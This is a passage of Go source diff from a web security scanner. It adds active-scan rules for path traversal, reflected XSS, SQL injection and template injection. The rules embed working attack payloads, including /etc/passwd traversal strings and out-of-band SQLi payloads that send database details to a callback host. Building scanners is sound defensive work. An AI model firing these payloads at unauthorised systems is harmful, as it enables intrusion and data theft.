b := make([]byte, n)
_, _ = rand.Read(b)
return hex.EncodeToString(b)
}
@@ -0,0 +1,82 @@
// Package pathtraversal is the active path-traversal / LFI rule. Each check replaces
// the parameter with traversal payloads for one target file and confirms when the
// response returns that file's contents.
package pathtraversal
import (
"context"
"regexp"
"github.com/BishopFox/joro/internal/activescan"
"github.com/BishopFox/joro/internal/activescan/injkit"
"github.com/BishopFox/joro/internal/detect"
)
const (
ruleID = "pathtraversal"
findingRule = "activescan.pathtraversal"
)
var (
rePasswd = regexp.MustCompile(`root:.*:0:0:`)
reWinIni = regexp.MustCompile(`(?i)\[(?:fonts|extensions|mci extensions)\]|for 16-bit app support`)
reWebXML = regexp.MustCompile(`(?i)<web-app[\s>]`)
)
func fileCheck(id, name, desc string, payloads []string, re *regexp.Regexp, evidence string) injkit.Check {
return injkit.Check{
ID: id, Name: name, Severity: detect.SeverityHigh, Description: desc, Payloads: payloads,
Probe: func(pc injkit.ProbeCtx) { probe(pc, payloads, re, evidence) },
}
}
var checks = []injkit.Check{
fileCheck("unix-passwd", "Unix /etc/passwd",
"Traverses to /etc/passwd and matches the user-database format.",
[]string{"../../../../../../../../etc/passwd", "/etc/passwd", "....//....//....//....//etc/passwd"},
rePasswd, "response contains /etc/passwd contents (root:...:0:0:)"),
fileCheck("windows-winini", "Windows win.ini",
"Traverses to Windows win.ini and matches its section headers.",
[]string{"..\\..\\..\\..\\..\\windows\\win.ini", "C:\\windows\\win.ini"},
reWinIni, "response contains win.ini contents"),
fileCheck("java-webxml", "Java WEB-INF/web.xml",
"Reads WEB-INF/web.xml from a Java web app.",
[]string{"/WEB-INF/web.xml", "../../WEB-INF/web.xml"},
reWebXML, "response contains WEB-INF/web.xml contents"),
fileCheck("encoded", "Encoded traversal",
"URL-encoded traversal to /etc/passwd (filter-bypass variants).",
[]string{"..%2f..%2f..%2f..%2f..%2fetc%2fpasswd", "..%5c..%5c..%5c..%5cwindows%5cwin.ini"},
rePasswd, "response contains /etc/passwd contents via encoded traversal"),
}
type Rule struct{ *activescan.DisabledSet }
func New() *Rule { return &Rule{activescan.NewDisabledSet()} }
func (*Rule) ID() string { return ruleID }
func (*Rule) Name() string { return "Path traversal / LFI" }
func (*Rule) Category() detect.Category { return detect.CategoryPathTraversal }
func (*Rule) Description() string {
return "Replaces each parameter with directory-traversal payloads (encoded and raw, Unix and " +
"Windows) and reports when the response returns the contents of a well-known file " +
"(/etc/passwd, win.ini, WEB-INF/web.xml) — confirmed path traversal / local file inclusion."
}
func (r *Rule) CatalogItems() []activescan.CatalogItem {
return injkit.Catalog(checks, r.DisabledSet, false)
}
func (r *Rule) Run(ctx context.Context, t activescan.Target, cfg activescan.Config, deps activescan.RuleDeps, rep activescan.Reporter) error {
injkit.RunChecks(ctx, t, cfg, deps, rep, checks, r.DisabledSet, findingRule, detect.CategoryPathTraversal, "Path traversal / LFI")
return nil
}
func probe(pc injkit.ProbeCtx, payloads []string, re *regexp.Regexp, evidence string) {
for _, pl := range payloads {
res := pc.Inject(pl, false)
if res != nil && re.Match(res.Resp.Body) {
pc.File(detect.SeverityHigh, "path traversal in "+pc.Point.Name+" via "+pl, evidence, res.URL)
return
}
}
}
@@ -0,0 +1,83 @@
// Package reflectedxss is the active reflected-XSS rule. Each check injects a unique
// canary with a particular breakout payload and reuses internal/echo's analyzer
// (enumeration, context classification, breakout rubric) on the (mutated request,
// response) pair; a reflection that breaks out of its context is a finding.
package reflectedxss
import (
"context"
"crypto/rand"
"encoding/hex"
"strings"
"github.com/BishopFox/joro/internal/activescan"
"github.com/BishopFox/joro/internal/activescan/injkit"
"github.com/BishopFox/joro/internal/detect"
"github.com/BishopFox/joro/internal/echo"
"github.com/BishopFox/joro/internal/proxy"
)
const (
ruleID = "reflectedxss"
findingRule = "activescan.reflectedxss"
)
func styleCheck(id, name, desc, suffix string) injkit.Check {
return injkit.Check{
ID: id, Name: name, Severity: detect.SeverityHigh, Description: desc,
Payloads: []string{"<canary>" + suffix},
Probe: func(pc injkit.ProbeCtx) { probe(pc, suffix) },
}
}
var checks = []injkit.Check{
styleCheck("html-text", "HTML text breakout", "Breaks out of HTML text/attribute with angle brackets and quotes.", `"'></`),
styleCheck("attribute", "Attribute event-handler", "Breaks out of an attribute into an event handler.", `" autofocus onfocus=jo `),
styleCheck("script", "Script string breakout", "Breaks out of a JavaScript string context.", `';jo//`),
styleCheck("template", "Template/backtick breakout", "Breaks out of a template-literal/backtick context.", "`+jo+`"),
}
type Rule struct{ *activescan.DisabledSet }
func New() *Rule { return &Rule{activescan.NewDisabledSet()} }
func (*Rule) ID() string { return ruleID }
func (*Rule) Name() string { return "Reflected XSS" }
func (*Rule) Category() detect.Category { return detect.CategoryReflectedXSS }
func (*Rule) Description() string {
return "Injects a unique canary with HTML/JS-breaking characters into each request " +
"parameter and reuses the Echo analyzer to decide whether it reflects into an " +
"exploitable, unescaped context (a breakout) — confirmed reflected cross-site scripting."
}
func (r *Rule) CatalogItems() []activescan.CatalogItem {
return injkit.Catalog(checks, r.DisabledSet, false)
}
func (r *Rule) Run(ctx context.Context, t activescan.Target, cfg activescan.Config, deps activescan.RuleDeps, rep activescan.Reporter) error {
injkit.RunChecks(ctx, t, cfg, deps, rep, checks, r.DisabledSet, findingRule, detect.CategoryReflectedXSS, "Reflected XSS")
return nil
}
func probe(pc injkit.ProbeCtx, suffix string) {
canary := "joro" + randHex(5)
res := pc.Inject(canary+suffix, false)
if res == nil {
return
}
cr := &proxy.CapturedRequest{ReqRaw: res.RawReq, RespRaw: res.RespRaw, Host: pc.Host, URL: res.URL, Method: res.Method}
report := echo.Analyze(cr, echo.DefaultConfig())
for _, refl := range report.Reflections {
if refl.Breakout && strings.Contains(refl.Value, canary) {
pc.File(detect.SeverityHigh, "parameter "+pc.Point.Name+" reflects unescaped into "+string(refl.Context),
"canary broke out of the "+string(refl.Context)+" context; surviving characters: "+refl.Survived, res.URL)
return
}
}
}
func randHex(n int) string {
b := make([]byte, n)
_, _ = rand.Read(b)
return hex.EncodeToString(b)
}
+233
View File
@@ -0,0 +1,233 @@
package activescan
import (
"context"
"fmt"
"sync"
"time"
"github.com/BishopFox/joro/internal/detect"
"github.com/BishopFox/joro/internal/event"
)
// Run is one scan execution.
type Run struct {
ID string `json:"id"`
Host string `json:"host"`
Origin string `json:"origin"`
Scope string `json:"scope"` // "host" | "request"
Rules []string `json:"rules"`
CreatedAt time.Time `json:"createdAt"`
Total int `json:"total"`
Config Config `json:"-"`
urls []TargetURL // the scope-filtered URLs this run exercises
mu sync.RWMutex
status Status
completed int
errors int
findings int
errMsgs []string
cancel context.CancelFunc
}
// NewRun creates a running scan with its totals set. total is the number of work
// units the run expects to complete: one per (rule, URL).
func NewRun(id string, cfg Config, t Target, ruleIDs []string, total int) *Run {
return &Run{
ID: id,
Host: t.Host,
Origin: t.Origin,
Scope: cfg.Scope,
Rules: ruleIDs,
CreatedAt: time.Now(),
Total: total,
Config: cfg,
urls: t.URLs,
status: StatusRunning,
}
}
// Status reports the run's state.
func (r *Run) Status() Status {
r.mu.RLock()
defer r.mu.RUnlock()
return r.status
}
// Counts reports progress.
func (r *Run) Counts() (completed, errors, findings int) {
r.mu.RLock()
defer r.mu.RUnlock()
return r.completed, r.errors, r.findings
}
// Errors returns the rule-level failures observed so far.
func (r *Run) Errors() []string {
r.mu.RLock()
defer r.mu.RUnlock()
return append([]string{}, r.errMsgs...)
}
func (r *Run) addProgress(delta int) {
r.mu.Lock()
r.completed += delta
r.mu.Unlock()
}
func (r *Run) addFinding() {
r.mu.Lock()
r.findings++
r.mu.Unlock()
}
func (r *Run) addError(msg string) {
r.mu.Lock()
r.errors++
r.errMsgs = append(r.errMsgs, msg)
r.mu.Unlock()
}
func (r *Run) finish(s Status) {
r.mu.Lock()
defer r.mu.Unlock()
if r.status == StatusRunning {
r.status = s
}
}
// Stop cancels a running run.
func (r *Run) Stop() bool {
r.mu.Lock()
cancel := r.cancel
running := r.status == StatusRunning
if running {
r.status = StatusStopped
}
r.mu.Unlock()
if cancel != nil {
cancel()
}
return running
}
func (r *Run) setCancel(cancel context.CancelFunc) {
r.mu.Lock()
defer r.mu.Unlock()
r.cancel = cancel
}
// Deps is what a run needs from the host process.
type Deps struct {
// Broadcast is the hub's channel, carrying event.WSEvent values.
Broadcast chan<- any
// Findings is the shared detect store a rule's results are filed into.
Findings *detect.Store
// Notify pushes the aggregate detect.summary (s.broadcastDetectSummary).
Notify func()
// Registry resolves the run's rule IDs to Rule implementations.
Registry *Registry
// RuleDeps is forwarded to each rule.
RuleDeps RuleDeps
}
// Plan reports how many work units a scan will run and refuses one that cannot
// run, before any browser launches or byte goes on the wire.
func Plan(cfg Config, t Target, rules []Rule) (int, error) {
if len(t.URLs) == 0 {
return 0, fmt.Errorf("no in-scope URLs to scan")
}
if len(rules) == 0 {
return 0, fmt.Errorf("no active-scan rules selected")
}
return len(t.URLs) * len(rules), nil
}
// Execute runs every selected rule against the target, sequentially.
func Execute(ctx context.Context, run *Run, d Deps) {
budget := time.Duration(clampInt(run.Config.BudgetMs, DefaultBudgetMs, 1000, MaxBudgetMs)) * time.Millisecond
runCtx, cancel := context.WithTimeout(ctx, budget)
defer cancel()
run.setCancel(cancel)
started := time.Now()
broadcast(d, "activescan.started", map[string]any{
"runId": run.ID, "host": run.Host, "origin": run.Origin,
"scope": run.Scope, "rules": run.Rules, "total": run.Total,
})
rep := &reporter{run: run, d: d}
rules := d.Registry.Resolve(run.Config.Rules)
status := StatusComplete
for _, rule := range rules {
if runCtx.Err() != nil {
status = StatusStopped
break
}
if err := rule.Run(runCtx, Target{
Scheme: schemeOf(run.Origin), Host: run.Host, Origin: run.Origin, URLs: run.urls,
}, run.Config, d.RuleDeps, rep); err != nil {
run.addError(fmt.Sprintf("%s: %v", rule.Name(), err))
}
}
if runCtx.Err() != nil {
status = StatusStopped
}
run.finish(status)
completed, errs, findings := run.Counts()
broadcast(d, "activescan.complete", map[string]any{
"runId": run.ID, "status": string(run.Status()),
"completed": completed, "errors": errs, "findings": findings,
"durationMs": time.Since(started).Milliseconds(),
})
}
// reporter adapts a run and its deps to the Reporter a rule writes through.
type reporter struct {
run *Run
d Deps
}
func (r *reporter) Progress(delta int) {
if delta <= 0 {
return
}
r.run.addProgress(delta)
completed, _, findings := r.run.Counts()
broadcast(r.d, "activescan.progress", map[string]any{
"runId": r.run.ID, "scanned": completed, "total": r.run.Total, "findings": findings,
})
}
func (r *reporter) Finding(f detect.Finding) {
if r.d.Findings == nil {
return
}
saved, isNew := r.d.Findings.Upsert(f)
r.run.addFinding()
broadcast(r.d, "detect.finding", map[string]any{"finding": saved, "isNew": isNew})
if r.d.Notify != nil {
r.d.Notify()
}
}
// broadcast sends blocking, from the run's own goroutine, like chainrun and
// fuzzer: Hub.Subscribe fans out without blocking, so a slow subscriber cannot
// stall the run, and blocking keeps the client's progress agreeing with the run.
func broadcast(d Deps, typ string, data map[string]any) {
if d.Broadcast == nil {
return
}
d.Broadcast <- event.WSEvent{Type: typ, Data: data}
}
func schemeOf(origin string) string {
if len(origin) >= 8 && origin[:8] == "https://" {
return "https"
}
return "http"
}
+154
View File
@@ -0,0 +1,154 @@
// Package sqli is the active SQL-injection rule. It exposes a catalog of named
// checks (error-based, boolean-based, time-based, out-of-band); each appends
// read-only payloads to a parameter and confirms via the shared DB-error matcher, a
// structural true/false differential, a timing delay, or a callback.
package sqli
import (
"context"
"time"
"github.com/BishopFox/joro/internal/activescan"
"github.com/BishopFox/joro/internal/activescan/injkit"
"github.com/BishopFox/joro/internal/detect"
)
const (
ruleID = "sqli"
findingRule = "activescan.sqli"
sleepMs = 5000
oastWindow = 12 * time.Second
)
var errorSuffixes = []string{`'`, `"`, `')`, `'"`}
var booleanPairs = [][2]string{
{`' AND '1'='1`, `' AND '1'='2`},
{` AND 1=1`, ` AND 1=2`},
{`" AND "1"="1`, `" AND "1"="2`},
}
var timeSuffixes = []string{
`' AND SLEEP(5)-- -`,
` AND SLEEP(5)`,
`'||pg_sleep(5)--`,
`';WAITFOR DELAY '0:0:5'--`,
}
func oastSuffixes(host string) []string {
return []string{
`' AND (SELECT LOAD_FILE(CONCAT('\\\\',(SELECT @@version),'.` + host + `\\x')))-- -`,
`';EXEC master..xp_dirtree '\\` + host + `\x';--`,
`'||(SELECT UTL_INADDR.get_host_address('` + host + `') FROM dual)--`,
}
}
var checks = []injkit.Check{
{
ID: "error-based", Name: "Error-based", Severity: detect.SeverityHigh,
Description: "Appends quote/paren breakers and matches the response against database error signatures.",
Payloads: errorSuffixes,
Probe: errorBased,
},
{
ID: "boolean-based", Name: "Boolean-based", Severity: detect.SeverityHigh,
Description: "Sends a TRUE and a FALSE condition and reports when TRUE matches the baseline while FALSE differs.",
Payloads: []string{`' AND '1'='1`, `' AND '1'='2`, ` AND 1=1`, ` AND 1=2`},
Probe: booleanBased,
},
{
ID: "time-based", Name: "Time-based", Severity: detect.SeverityHigh,
Description: "Injects a database sleep and confirms a delayed response twice to reject jitter.",
Payloads: timeSuffixes,
Probe: timeBased,
},
{
ID: "oast", Name: "Out-of-band", Severity: detect.SeverityHigh,
Description: "Injects DNS/SMB exfiltration payloads and polls the callback listener for an interaction.",
Payloads: []string{`LOAD_FILE(CONCAT('\\\\',…,'.<callback>\\x'))`, `xp_dirtree '\\<callback>\x'`, `UTL_INADDR.get_host_address('<callback>')`},
RequiresOAST: true,
Probe: oastBased,
},
}
// Rule implements activescan.Rule and activescan.Cataloger (via the embedded set).
type Rule struct{ *activescan.DisabledSet }
func New() *Rule { return &Rule{activescan.NewDisabledSet()} }
func (*Rule) ID() string { return ruleID }
func (*Rule) Name() string { return "SQL injection" }
func (*Rule) Category() detect.Category { return detect.CategorySQLi }
func (*Rule) Description() string {
return "Appends error-based, boolean-differential, time-based, and (when a callback " +
"listener is configured) out-of-band SQL payloads to each parameter, confirming via " +
"database error signatures, a true/false response differential, a timing delay, or a callback."
}
func (r *Rule) CatalogItems() []activescan.CatalogItem {
return injkit.Catalog(checks, r.DisabledSet, false)
}
func (r *Rule) Run(ctx context.Context, t activescan.Target, cfg activescan.Config, deps activescan.RuleDeps, rep activescan.Reporter) error {
injkit.RunChecks(ctx, t, cfg, deps, rep, checks, r.DisabledSet, findingRule, detect.CategorySQLi, "SQL injection")
return nil
}
func errorBased(pc injkit.ProbeCtx) {
for _, s := range errorSuffixes {
res := pc.Inject(s, true)
if res == nil {
continue
}
if engine, ev, ok := detect.MatchSQLError(res.Resp.Body); ok {
pc.File(detect.SeverityHigh, "error-based SQLi in "+pc.Point.Name+" ("+engine+")", engine+" error: "+ev, res.URL)
return
}
}
}
func booleanBased(pc injkit.ProbeCtx) {
for _, pair := range booleanPairs {
tr, fa := pc.Inject(pair[0], true), pc.Inject(pair[1], true)
if tr == nil || fa == nil {
continue
}
if injkit.SameStructure(tr.Fingerprint, pc.Base.Fingerprint) &&
!injkit.SameStructure(fa.Fingerprint, pc.Base.Fingerprint) {
pc.File(detect.SeverityHigh, "boolean-based SQLi in "+pc.Point.Name,
"TRUE ("+pair[0]+") matched the baseline; FALSE ("+pair[1]+") differed", tr.URL)
return
}
}
}
func timeBased(pc injkit.ProbeCtx) {
for _, s := range timeSuffixes {
res := pc.Inject(s, true)
if res == nil || !injkit.LooksDelayed(res.DurationMs, pc.Base.FloorMs, sleepMs) {
continue
}
if res2 := pc.Inject(s, true); res2 != nil && injkit.LooksDelayed(res2.DurationMs, pc.Base.FloorMs, sleepMs) {
pc.File(detect.SeverityHigh, "time-based blind SQLi in "+pc.Point.Name,
"injecting "+s+" delayed the response twice (~5s over baseline)", res.URL)
return
}
}
}
func oastBased(pc injkit.ProbeCtx) {
if pc.OAST == nil {
return
}
tokenID, host, err := pc.OAST.Token("sqli")
if err != nil {
return
}
for _, s := range oastSuffixes(host) {
pc.Inject(s, true)
}
if pc.OAST.Fired(pc.Ctx, tokenID, oastWindow) {
pc.File(detect.SeverityHigh, "out-of-band SQLi in "+pc.Point.Name,
"an injected payload triggered a callback to "+host, pc.Base.URL)
}
}
+67
View File
@@ -0,0 +1,67 @@
// Package ssti is the active server-side template injection rule. Each check
// replaces the parameter with one engine family's arithmetic polyglot and confirms
// when the computed product appears in the response.
package ssti
import (
"context"
"strings"
"github.com/BishopFox/joro/internal/activescan"
"github.com/BishopFox/joro/internal/activescan/injkit"
"github.com/BishopFox/joro/internal/detect"
)
const (
ruleID = "ssti"
findingRule = "activescan.ssti"
product = "1649858" // 1337 * 1234, distinctive and unlikely to occur naturally
)
func syntaxCheck(id, name, desc string, payloads []string) injkit.Check {
return injkit.Check{
ID: id, Name: name, Severity: detect.SeverityCritical, Description: desc, Payloads: payloads,
Probe: func(pc injkit.ProbeCtx) { probe(pc, payloads) },
}
}
var checks = []injkit.Check{
syntaxCheck("jinja-twig", "Jinja/Twig {{…}}", "Doubled-brace expression (Jinja2, Twig, Nunjucks).", []string{`{{1337*1234}}`}),
syntaxCheck("dollar-hash", "Freemarker/Velocity ${…}/#{…}", "Dollar/hash expression (Freemarker, Velocity, Thymeleaf).", []string{`${1337*1234}`, `#{1337*1234}`}),
syntaxCheck("erb-jsp", "ERB/JSP <%= … %>", "Scriptlet expression (ERB, JSP, ASP).", []string{`<%= 1337*1234 %>`}),
syntaxCheck("razor", "Razor @(…)", "Razor expression (.NET).", []string{`@(1337*1234)`}),
syntaxCheck("smarty-mako", "Smarty/Mako/other", "Single-brace and assignment forms (Smarty, Mako, Spring EL).", []string{`{1337*1234}`, `*{1337*1234}`, `#set($x=1337*1234)$x`}),
}
type Rule struct{ *activescan.DisabledSet }
func New() *Rule { return &Rule{activescan.NewDisabledSet()} }
func (*Rule) ID() string { return ruleID }
func (*Rule) Name() string { return "Server-side template injection" }
func (*Rule) Category() detect.Category { return detect.CategorySSTI }
func (*Rule) Description() string {
return "Injects arithmetic-expression polyglots across common template engines (Jinja, " +
"Twig, Freemarker, Velocity, ERB, Razor and others) into each parameter; if the " +
"computed product appears in the response, the engine evaluated the expression."
}
func (r *Rule) CatalogItems() []activescan.CatalogItem {
return injkit.Catalog(checks, r.DisabledSet, false)
}
func (r *Rule) Run(ctx context.Context, t activescan.Target, cfg activescan.Config, deps activescan.RuleDeps, rep activescan.Reporter) error {
injkit.RunChecks(ctx, t, cfg, deps, rep, checks, r.DisabledSet, findingRule, detect.CategorySSTI, "Server-side template injection")
return nil
}
func probe(pc injkit.ProbeCtx, payloads []string) {
for _, pl := range payloads {
res := pc.Inject(pl, false)
if res != nil && strings.Contains(string(res.Resp.Body), product) {
pc.File(detect.SeverityCritical, "SSTI in "+pc.Point.Name,
"payload "+pl+" produced "+product+" in the response", res.URL)
return
}
}
}
+98
View File
@@ -0,0 +1,98 @@
package activescan
import "sync"
// Store holds runs in memory, bounded like chainrun.Store. Runs are session
// state and never reach the project file.
type Store struct {
mu sync.RWMutex
runs []*Run
}
// NewStore creates an empty run store.
func NewStore() *Store { return &Store{} }
// Get returns a run by ID, or nil.
func (s *Store) Get(id string) *Run {
s.mu.RLock()
defer s.mu.RUnlock()
for _, r := range s.runs {
if r.ID == id {
return r
}
}
return nil
}
// List returns every run, newest first.
func (s *Store) List() []*Run {
s.mu.RLock()
defer s.mu.RUnlock()
out := make([]*Run, len(s.runs))
for i, r := range s.runs {
out[len(s.runs)-1-i] = r
}
return out
}
// Running returns the run currently in flight, or nil.
func (s *Store) Running() *Run {
s.mu.RLock()
defer s.mu.RUnlock()
for _, r := range s.runs {
if r.Status() == StatusRunning {
return r
}
}
return nil
}
// AddIfIdle adds a run only if none is in flight, returning the run that blocked
// it or nil on success.
//
// One lock for the test and the insert: a Running check then a separate Add
// leaves a gap two requests both pass, which is the concurrent scan the
// single-run rule exists to prevent.
func (s *Store) AddIfIdle(r *Run) *Run {
s.mu.Lock()
defer s.mu.Unlock()
for _, old := range s.runs {
if old.Status() == StatusRunning {
return old
}
}
if len(s.runs) >= MaxRuns {
for i, old := range s.runs {
if old.Status() != StatusRunning {
s.runs = append(s.runs[:i], s.runs[i+1:]...)
break
}
}
}
s.runs = append(s.runs, r)
return nil
}
// Delete removes a run, reporting whether it was found.
func (s *Store) Delete(id string) bool {
s.mu.Lock()
defer s.mu.Unlock()
for i, r := range s.runs {
if r.ID == id {
s.runs = append(s.runs[:i], s.runs[i+1:]...)
return true
}
}
return false
}
// Clear stops and drops every run, for a project switch.
func (s *Store) Clear() {
s.mu.Lock()
runs := s.runs
s.runs = nil
s.mu.Unlock()
for _, r := range runs {
r.Stop()
}
}
+19
View File
@@ -0,0 +1,19 @@
# Attribution — signatures.json
`signatures.json` is a normalized, curated derivative of the
[nuclei-templates](https://github.com/projectdiscovery/nuclei-templates) project
by ProjectDiscovery, used under the MIT License.
- Source: `github.com/projectdiscovery/nuclei-templates`
- License: MIT (permits modification and redistribution with this notice)
- Generated at design time by `tools/nucleigen` from commit
`58670555f97912d95733b509e08061785f66e5e5` (subtrees `http/exposures`,
`http/misconfiguration`, `http/exposed-panels`).
Each entry records the originating template id (`nucleiId`) and its path within
the checkout (`source`). Only templates whose whole logic fits Joro's supported
HTTP matcher subset were converted; the rest were dropped (see the converter's
skip census). The dataset is regenerated, never hand-edited.
The MIT license text accompanies the ProjectDiscovery repository; this derivative
is distributed under the same terms.
@@ -0,0 +1,58 @@
package templatesig
import (
_ "embed"
"encoding/json"
"regexp"
)
// signaturesJSON is the normalized, curated check set produced at design time by
// tools/nucleigen from a reviewed nuclei-templates checkout. It is embedded data,
// not a Go dependency; the server never parses a nuclei YAML template.
//
//go:embed signatures.json
var signaturesJSON []byte
// load parses and compiles the embedded dataset once, on the Rule instance (not a
// package global, per the no-globals rule). A signature whose regex will not
// compile under RE2 is dropped whole rather than run half-blind.
func (r *Rule) load() ([]Signature, error) {
r.once.Do(func() {
var sigs []Signature
if err := json.Unmarshal(signaturesJSON, &sigs); err != nil {
r.err = err
return
}
out := make([]Signature, 0, len(sigs))
for i := range sigs {
if compileSignature(&sigs[i]) {
out = append(out, sigs[i])
}
}
r.sigs = out
})
return r.sigs, r.err
}
// compileSignature compiles every regex matcher in a signature. It returns false
// if any regex is rejected by RE2, so the caller can drop the whole check.
func compileSignature(sig *Signature) bool {
for ri := range sig.Requests {
req := &sig.Requests[ri]
for mi := range req.Matchers {
m := &req.Matchers[mi]
if m.Type != "regex" {
continue
}
m.compiled = m.compiled[:0]
for _, expr := range m.Regexes {
re, err := regexp.Compile(expr)
if err != nil {
return false
}
m.compiled = append(m.compiled, re)
}
}
}
return true
}
+135
View File
@@ -0,0 +1,135 @@
package templatesig
import (
"strconv"
"strings"
"github.com/BishopFox/joro/internal/activescan"
)
// selectSignatures narrows the dataset to what should run against one host: the
// scan's tag/severity filters, then fingerprint gating.
//
// Gating runs a signature when it is tech-agnostic (no RequiresTech) or when one
// of its required technologies is present on the host, version permitting. With
// IgnoreFingerprint set, or no fingerprint store wired, gating is skipped and
// every tag/severity-passing signature runs. When the host has a fingerprint but
// nothing was detected, only tech-agnostic signatures run.
func selectSignatures(sigs []Signature, cfg activescan.Config, deps activescan.RuleDeps, host string, disabled *activescan.DisabledSet) []Signature {
tagFilter := lowerSet(cfg.Tags)
sevFilter := lowerSet(cfg.Severity)
gate := !cfg.IgnoreFingerprint && deps.Tech != nil
var detected map[string]string // lower tech name -> version ("" if unknown)
if gate {
detected = map[string]string{}
if ht, ok := deps.Tech.Host(host); ok {
for _, t := range ht.Technologies {
detected[strings.ToLower(t.Name)] = t.Version
}
}
}
out := make([]Signature, 0, len(sigs))
for _, sig := range sigs {
if !disabled.IsItemEnabled(sig.ID) {
continue
}
if len(tagFilter) > 0 && !anyIn(sig.Tags, tagFilter) {
continue
}
if len(sevFilter) > 0 && !sevFilter[strings.ToLower(sig.Severity)] {
continue
}
if gate && !eligible(sig, detected) {
continue
}
out = append(out, sig)
}
return out
}
// eligible reports whether a signature's technology preconditions are met.
func eligible(sig Signature, detected map[string]string) bool {
if len(sig.RequiresTech) == 0 {
return true
}
for _, req := range sig.RequiresTech {
ver, ok := detected[strings.ToLower(req.Name)]
if ok && versionOK(ver, req) {
return true
}
}
return false
}
// versionOK applies a version constraint, failing open on an unknown version: a
// detected-but-unversioned technology always satisfies the bound, because
// skipping a possibly-vulnerable host is worse than an occasional wasted probe.
func versionOK(detected string, req TechReq) bool {
if detected == "" {
return true
}
if req.MinVersion != "" && compareVersion(detected, req.MinVersion) < 0 {
return false
}
if req.MaxVersion != "" && compareVersion(detected, req.MaxVersion) >= 0 {
return false
}
return true
}
// compareVersion compares dotted numeric versions, returning -1, 0 or 1. A
// non-numeric segment compares as 0, which is lenient by design.
func compareVersion(a, b string) int {
as := strings.Split(a, ".")
bs := strings.Split(b, ".")
for i := 0; i < len(as) || i < len(bs); i++ {
var x, y int
if i < len(as) {
x, _ = strconv.Atoi(numeric(as[i]))
}
if i < len(bs) {
y, _ = strconv.Atoi(numeric(bs[i]))
}
if x != y {
if x < y {
return -1
}
return 1
}
}
return 0
}
// numeric keeps the leading digit run of a version segment ("4rc1" -> "4").
func numeric(s string) string {
for i := 0; i < len(s); i++ {
if s[i] < '0' || s[i] > '9' {
return s[:i]
}
}
return s
}
func lowerSet(in []string) map[string]bool {
if len(in) == 0 {
return nil
}
out := make(map[string]bool, len(in))
for _, s := range in {
if s = strings.ToLower(strings.TrimSpace(s)); s != "" {
out[s] = true
}
}
return out
}
func anyIn(vals []string, set map[string]bool) bool {
for _, v := range vals {
if set[strings.ToLower(v)] {
return true
}
}
return false
}
+217
View File
@@ -0,0 +1,217 @@
package templatesig
import (
"fmt"
"strconv"
"strings"
"github.com/BishopFox/joro/internal/activescan"
"github.com/BishopFox/joro/internal/httptools"
)
// replacer substitutes the URL template tokens nuclei expands inside matcher
// words at match time. BaseURL is the target origin; Host is its host[:port].
type replacer struct {
baseURL string
host string
}
func (r replacer) apply(s string) string {
if !strings.Contains(s, "{{") {
return s
}
s = strings.ReplaceAll(s, "{{BaseURL}}", r.baseURL)
s = strings.ReplaceAll(s, "{{RootURL}}", r.baseURL)
s = strings.ReplaceAll(s, "{{Hostname}}", r.host)
s = strings.ReplaceAll(s, "{{Host}}", r.host)
return s
}
// evalMatchers evaluates a request's matcher set against a response and returns
// whether it matched, with a short evidence string naming what matched.
func evalMatchers(req *Request, resp httptools.Response, rp replacer) (bool, string) {
if len(req.Matchers) == 0 {
return false, ""
}
and := strings.EqualFold(req.MatchersCondition, "and")
var evidence []string
allOK := true
anyOK := false
for i := range req.Matchers {
ok, ev := evalMatcher(&req.Matchers[i], resp, rp)
if ok {
anyOK = true
if ev != "" {
evidence = append(evidence, ev)
}
} else {
allOK = false
}
}
matched := anyOK
if and {
matched = allOK
}
if !matched {
return false, ""
}
return true, strings.Join(evidence, "; ")
}
// evalMatcher evaluates one matcher. Negative inverts the result; a negative
// match reports no evidence (there is nothing to show).
func evalMatcher(m *Matcher, resp httptools.Response, rp replacer) (bool, string) {
ok, ev := matcherHit(m, resp, rp)
if m.Negative {
return !ok, ""
}
return ok, ev
}
func matcherHit(m *Matcher, resp httptools.Response, rp replacer) (bool, string) {
switch m.Type {
case "status":
for _, s := range m.Status {
if resp.Status == s {
return true, "status " + strconv.Itoa(s)
}
}
return false, ""
case "size":
n := len(resp.Body)
for _, s := range m.Sizes {
if n == s {
return true, "size " + strconv.Itoa(n)
}
}
return false, ""
case "word":
return matchWords(m, part(m.Part, resp), rp)
case "regex":
return matchRegexes(m, part(m.Part, resp))
default:
return false, ""
}
}
// matchWords applies the word list with the matcher's and/or condition. Words are
// matched case-insensitively, matching nuclei's default.
func matchWords(m *Matcher, hay string, rp replacer) (bool, string) {
if len(m.Words) == 0 {
return false, ""
}
and := strings.EqualFold(m.Condition, "and")
lower := strings.ToLower(hay)
anyOK, allOK := false, true
var first string
for _, w := range m.Words {
w = rp.apply(w)
if strings.Contains(lower, strings.ToLower(w)) {
anyOK = true
if first == "" {
first = w
}
} else {
allOK = false
}
}
if (and && allOK) || (!and && anyOK) {
return true, "matched " + strconv.Quote(first)
}
return false, ""
}
// matchRegexes applies the compiled regex list with the matcher's and/or
// condition. The evidence is the first concrete match, truncated.
func matchRegexes(m *Matcher, hay string) (bool, string) {
if len(m.compiled) == 0 {
return false, ""
}
and := strings.EqualFold(m.Condition, "and")
anyOK, allOK := false, true
var first string
for _, re := range m.compiled {
if loc := re.FindString(hay); loc != "" || re.MatchString(hay) {
anyOK = true
if first == "" {
first = loc
}
} else {
allOK = false
}
}
if (and && allOK) || (!and && anyOK) {
return true, "matched " + strconv.Quote(truncate(first, 80))
}
return false, ""
}
// part selects the response region a matcher reads. Default is the body.
func part(name string, resp httptools.Response) string {
switch strings.ToLower(name) {
case "header", "headers":
return headerString(resp)
case "all", "response", "raw":
return headerString(resp) + "\r\n\r\n" + string(resp.Body)
default:
return string(resp.Body)
}
}
func headerString(resp httptools.Response) string {
var b strings.Builder
fmt.Fprintf(&b, "HTTP %d\r\n", resp.Status)
for k, vs := range resp.Header {
for _, v := range vs {
b.WriteString(k)
b.WriteString(": ")
b.WriteString(v)
b.WriteString("\r\n")
}
}
return b.String()
}
func truncate(s string, n int) string {
if len(s) <= n {
return s
}
return s[:n] + "…"
}
// spreader distributes a rule's share of the run's URL-based total across its own
// internal steps, so the scan's completed/total stays coherent when the rule's
// real unit of work (signatures) differs from the planned unit (URLs).
type spreader struct {
rep activescan.Reporter
budget int
steps int
done int
emitted int
}
func newSpreader(rep activescan.Reporter, budget, steps int) *spreader {
return &spreader{rep: rep, budget: budget, steps: steps}
}
func (p *spreader) step() {
p.done++
want := p.budget
if p.steps > 0 {
want = p.budget * p.done / p.steps
}
if want > p.budget {
want = p.budget
}
if want > p.emitted {
p.rep.Progress(want - p.emitted)
p.emitted = want
